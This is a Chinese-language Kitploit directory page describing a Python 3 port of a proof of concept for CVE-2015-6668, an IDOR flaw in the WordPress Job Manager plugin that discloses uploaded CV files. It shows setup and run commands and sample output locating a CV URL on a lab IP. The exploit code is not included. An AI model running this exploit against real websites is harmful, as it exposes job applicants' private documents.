Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2015-6668 — Evangelos Mourikis POC for CVE-2015-6668 converted for Python 3 | Kitploit
工具/GitHubGitHub/jimdiroffii/cve-2015-6668
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubjimdiroffii/cve-2015-6668

CVE-2015-6668

Evangelos Mourikis POC for CVE-2015-6668 converted for Python 3

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2015-6668

Evangelos Mourikis 针对 CVE-2015-6668 的 POC，已转换为 Python 3

利用 WordPress Job Manager 插件中的 IDOR 漏洞。

在 Python 3.11.9 上测试通过。

参考

NIST CVE WPScan Vuln DB

设置与使用

克隆仓库，设置虚拟环境（可选），安装 requests，然后用 Python 3 运行脚本。

克隆

root@kitploit:~
git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668

Python 虚拟环境（可选）

root@kitploit:~
python3 -m venv .venv
  • Bash
root@kitploit:~
source .venv/bin/activate
  • Powershell
root@kitploit:~
.\.venv\Scripts\activate

安装 requests

root@kitploit:~
python3 -m pip install requests

运行 exploit.py

root@kitploit:~
python3 ./exploit.py

输出

root@kitploit:~
$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
下载工具